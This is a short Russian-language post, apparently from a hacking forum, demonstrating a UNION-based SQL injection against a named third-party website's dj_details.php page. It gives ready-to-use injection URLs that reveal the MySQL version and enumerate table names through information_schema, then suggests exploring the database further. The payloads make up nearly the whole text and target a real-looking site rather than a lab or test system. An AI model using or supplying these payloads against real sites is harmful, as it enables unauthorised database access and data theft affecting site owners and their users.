Вначале определяем версию.
http://snowproject.ru/dj_details.php?did=-1+union+select+1,2,3,version(),5,6,7/*
Ура 5 мускул!
Дальше проще....
http://snowproject.ru/dj_details.php?did=-1+union+select+1,2,3,table_name,5,6,7%20from%20inf ormation_schema.tables%20limit%200,1/*
limit 1,1 , limit 2,1 ... и т.д.
Исследуем структуру базы.... дальше по обстоятельствам.